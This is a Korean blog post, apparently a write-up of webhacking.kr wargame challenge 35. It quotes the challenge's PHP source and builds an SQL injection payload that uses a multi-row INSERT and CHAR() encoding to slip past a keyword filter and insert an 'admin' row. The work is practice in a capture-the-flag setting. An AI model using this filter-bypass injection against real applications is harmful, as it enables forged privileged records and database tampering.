늘모자란, 개발 :: [webhacking.kr] Challenge 35

늘모자란, 개발



뭐 추가를 해야된다는데 이상하다. index.phps가 있어서 쟤를 봐야겠지만, 아무래도 수상한게 있어서 안짚고 넘어갈수가 없다

<html>
<head>
<title>Challenge 35</title>
<head>
<body>
<form method=get action=index.php>
phone : <input name=phone size=11 style=width:100%><input type=submit value='add'>
</form>
<!----><br><a href=index.phps>index.phps</a>
<br><br><br>
<center>Thanks to <a href=http://webhacking.kr/index.php?mode=information&id=HellSonic>HellSonic</a></center>
<br><br><br>
</body>
</html>


뜬금없이 빈 주석이 있다. 빈 주석... 저기 아마 뭐가 채워질것 같다. 염두에 두고 index.phps를 보자

<html>
<head>
<title>Challenge 35</title>
<head>
<body>
<form method=get action=index.php>
phone : <input name=phone size=11><input type=submit value='add'>
</form>
<?
if($_GET[phone])
{
if(eregi("%|\*|/|=|from|select|x|-|#|\(\(",$_GET[phone])) exit("no hack");

@mysql_query("insert into challenge35_list(id,ip,phone) values('$_SESSION[id]','$_SERVER[REMOTE_ADDR]',$_GET[phone])") or die("query error");
echo("Done<br>");
}

$admin_ck=mysql_fetch_array(mysql_query("select ip from challenge35_list where id='admin' and ip='$_SERVER[REMOTE_ADDR]'"));

if($admin_ck[ip]==$_SERVER[REMOTE_ADDR])
{
@solve();
@mysql_query("delete from challenge35_list");
}
$phone_list=@mysql_query("select * from challenge35_list where ip='$_SERVER[REMOTE_ADDR]'");

echo("<!--");

while($d=@mysql_fetch_array($phone_list))
{
echo("$d[id] - $d[phone]\n");
}

echo("-->");

?>
<br><a href=index.phps>index.phps</a>
<br><br><br>
<center>Thanks to <a href=http://webhacking.kr/index.php?mode=information&id=HellSonic>HellSonic</a></center>
<br><br><br>
</body>
</html>


우선 $_GET['phone'] 이 인자이고, select 와 from은 사용할 수 없다. 또, =를 사용할 수 없으니 매치도 안될 것 같다.
쭉 읽다보면 admin_ck[ip]에 우리의 아이피를 끼워넣어야 성공할 것 같다.
대강 견적을 보면 multi insert를 이용해 하나 더 넣는식으로 하면 될 것 같지만 일단 해봐야알겠다

쿼리는 이런식으로 만들면 된다. 따로 걸리는건 없는데 이대로 넣으면 쿼리에러가 난다.

2), ('admin','IP',123)


그럼 어떻게 해야할까? '가 제거되고 있기때문이라고 생각해보자.
'를 안쓰고 넣으려면? CHAR를 사용하면 된다.

123), (CHAR(97,100,109,105,110),CHAR(),2


DB가 쓸데없이 똑똑해서 잘 입력해준다..
insert하면 별다른 문제 없이 done이 뜬다. 같은 유형이 많이 나와서 문제 푸는 속도가 짧아져가는것 같다.
2016/04/01 17:36 2016/04/01 17:36